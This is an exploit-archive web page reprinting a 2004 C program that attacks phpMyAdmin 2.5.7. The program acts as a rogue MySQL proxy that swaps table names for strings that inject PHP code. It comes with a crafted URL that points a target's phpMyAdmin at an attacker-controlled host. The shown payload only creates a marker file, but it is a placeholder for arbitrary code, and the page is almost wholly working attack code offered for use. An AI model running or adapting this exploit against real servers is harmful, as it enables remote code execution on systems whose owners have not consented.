首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
phpMyAdmin PHP Code Injection Exploit
来源:eagle.kecapi.com 作者:Nasir 发布时间:2004-07-02  

phpMyAdmin PHP Code Injection Exploit

/*
* phpmy-explt.c
* written by Nasir Simbolon <nasir@kecapi.com>
* http://eagle.kecapi.com
* Jakarta, Indonesia
*
* June, 10 2004
*
* A phpMyAdmin-2.5.7 exploite program.
* This is a kind of mysql server wrapper acts
like a proxy except that it will sends a fake table
name,
* when client query "SHOW TABLES", by replacing the
real table name with a string contains exploite
codes.
*
* Compile : gcc phpmy-explt.c -o phpmy-explt
*
* run with
* ./phpmy-explt
*
* and go to your target and put
*
*
http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[Servers]
[4][host]=attacker.host.com&cfg[Servers][4]
[port]=8889&cfg[Servers][4]
[auth_type]=config&cfg[Servers][4]
[user]=user&cfg[Servers][4]
[password]=pass&cfg[Servers][4]
[connect_type]=tcp&&cfg[Servers][4]
[only_db]=databasename
*
* fill host,port,user,pass and databasename
correctly
*
*/


#include<stdio.h>
#include<sys/socket.h>
#include<netdb.h>

#define BIND_PORT 8889
#define MYSQL_PORT 3306
#define HOSTNAME "localhost"
#define DATABASE "phpmy"


#define BUFFER_LEN 1024

/* This is php code we want to inject into phpMyAdmin
Do NOT use single quote (') in the string, use
double quote (") instead
*/
char *phpcodes =
"exec(\"touch /tmp/your-phpmyadmin-is-vulnerable\");";


/* This is examples codes I captured when mysql
server
reply to client's request of query "SHOW TABLES"
query.
It shows database name 'phpmy' and contain one
tablename 'mytable'
Our aim is to manipulate the data received from
mysql server
by replacing 'mytable' with our exploide codes.

0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,
0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' ,
'_' ,'p' ,'h' ,'p' ,'m' ,'y' ,0x3 ,0x40,0x0 ,0x0 ,
0x1 ,-2 ,0x3 ,0x1 ,0x0 ,0x1f,0x1 ,0x0 ,0x0 ,0x3 ,
-2 ,8 ,0x0 ,0x0 ,0x4 ,7 ,'m' ,'y' ,'t' ,'a' ,
'b' ,'l' ,'e' ,0x1 ,0 ,0 ,0x5 ,-2
*/


int build_exploite_code(char* dbname,char*
phpcodes,char** expcode)
{
char my1[21] =
{0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,
0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' ,
'_'};
/* part of dbname ('p' ,'h' ,'p' ,'m' ,'y') */
char my2[15] =
{0x3 ,0x40,0x0 ,0x0 ,0x1 ,-2 ,0x3 ,0x1 ,0x0 ,0x1f,
0x1 ,0x0 ,0x0 ,0x3 ,-2};
/* part of int phpcodes string length +1 (8) */
char my3[3] = {0x0 ,0x0 ,0x4};
/* part of int phpcodes string length (7) */
/* part of tablename
('m' ,'y' ,'t' ,'a' ,'b' ,'l' ,'e' ) */
char my4[5] = {0x1 ,0 ,0 ,0x5 ,-2};

int len,i;

len = 21 + strlen(dbname) + 15 + 1 + 3 + 1 +
strlen(phpcodes) + 5 + 5;
*expcode = (char*) malloc(sizeof(char) * len);

i = 0;
bcopy(&my1[0],*expcode + i,21);
i += 21;
bcopy(dbname, *expcode + i,strlen(dbname));
i += strlen(dbname);
bcopy(&my2[0],*expcode + i,15);
i += 15;
(*expcode)[i] = 5 + strlen(phpcodes) + 1;
i ++;
bcopy(&my3[0],*expcode + i,3);
i += 3;
(*expcode)[i++] = 5 + strlen(phpcodes);
/* this is our exploite codes*/
(*expcode)[i++] = '\\';
(*expcode)[i++] = '\'';
(*expcode)[i++] = ';';
bcopy(phpcodes,*expcode + i,strlen(phpcodes));
i += strlen(phpcodes);
(*expcode)[i++] = '/';
(*expcode)[i++] = '*';
bcopy(&my4[0],*expcode + i,5);

return len;
}

/* connect to mysql server*/

int connect_mysql()
{
int s2;
struct sockaddr_in ina;
struct hostent *h;

h = gethostbyname(HOSTNAME);
/* set internet address */
bcopy(h->h_addr,(void
*)&ina.sin_addr,h->h_length);
ina.sin_family = AF_INET;
ina.sin_port = htons(MYSQL_PORT);
//ina.sin_zero[0]='\0';
if((s2=socket(AF_INET,SOCK_STREAM,0)) < 0)
perror("Socket: ");

if(connect(s2,(struct sockaddr
*)&ina,sizeof(ina)) < 0 )
perror("connect()");
return s2;
}

/* listener */
int listener()
{
int s1;
int opt;
struct sockaddr_in ina;

/* set internet address */
ina.sin_family = AF_INET;
ina.sin_port = htons(BIND_PORT);
ina.sin_addr.s_addr = INADDR_ANY;

if((s1=socket(AF_INET,SOCK_STREAM,0)) < 0)
perror("Socket: ");

opt = 1;
setsockopt(s1,SOL_SOCKET, SO_REUSEADDR , (char
*)&opt, sizeof(opt) );

if(bind(s1,(struct sockaddr
*)&ina,sizeof(ina))==-1)
perror("Bind: ");

if(listen(s1, 10) == -1)
perror("Listen");

return s1;
}


int main(int argc,char* argv[])
{
struct sockaddr_in ina1;
int ina1_l;
int s_daemon,s_mysql;
size_t byte_read,byte_written;
char *buf;
int sc,event,n_select;
fd_set rfds;
struct timeval tv;
int exptlen,i;
char *expt;
char *dbname=DATABASE;

buf = (char*) malloc(sizeof(char) *
(BUFFER_LEN));
tv.tv_sec = 15;
tv.tv_usec = 0;

/* we listen to port */
s_daemon = listener();

exptlen =
build_exploite_code(dbname,phpcodes,&expt);

for(;;)
{
fprintf(stderr,"waiting for
connection\n");

if( -1 == (sc = accept(s_daemon,(struct
sockaddr *) &ina1,&ina1_l)) )
perror("accept()");
/* if we get here, we have a new
connection */
fprintf(stderr,"got client connection\n");
mysql:
/* connect to mysql */
s_mysql = connect_mysql();

for(;;)
{
FD_ZERO(&rfds);
FD_SET(sc,&rfds);
FD_SET(s_mysql,&rfds);

n_select = (sc > s_mysql)? sc :
s_mysql;

event =
select(n_select+1,&rfds,NULL,NULL,NULL);
if(-1 == event)
perror("select()");
else
{
if(FD_ISSET(s_mysql,&rfds))
{
byte_read =
read(s_mysql,buf,BUFFER_LEN);
/* check for closing client
connection*/
if(byte_read == 0)
{
shutdown(s_mysql,SHUT_RDWR);
close(s_mysql);
goto mysql;
}

/* check data received from
mysql server.
* if buf[11] contain 'T',
data received from mysq server is table list
*
* NOW we replace the table
with our exploite codes and send them to client
*/
if( 'T' == buf[11])
{
for(i=0;i<exptlen;i++)
buf[i] = expt[i];
byte_read = exptlen;
}

if(write(sc, buf, byte_read) < 0)
break;
}

if(FD_ISSET(sc,&rfds))
{
byte_read =
read(sc,buf,BUFFER_LEN);
/* check for closing client
connection*/
if(byte_read == 0)
{
close(sc);
break;
}

if(write(s_mysql,buf,byte_read) < 0)
break;
}
#if defined(DEBUG)
fprintf(stderr,"data:\n");
for(i=0;i<byte_read;i++)
fprint(stderr," %c(%x) ",buf[i],buf[i]);
#endif
}

}
}
free(buf);
free(expt);
return 0;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·MPlayer GUI filename handling
·FreeBSD Local DoS Exploit
·Windows XP UPNP exploit
·Microsoft IE Remote Applicatio
·Rlpr <=2.04 msg() Remote fo
·MySQL Authentication Bypass Ex
·PoC poisoning cache attack SEF
·Microsoft IE Remote Wscript.Sh
·Remote D.O.S WinAgents TFTP Se
·Win2k Utility Manager Privileg
·Ircd-Hybrid-7/Ircd-Ratbox Low-
·MPlayer buffer overflow for UN
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved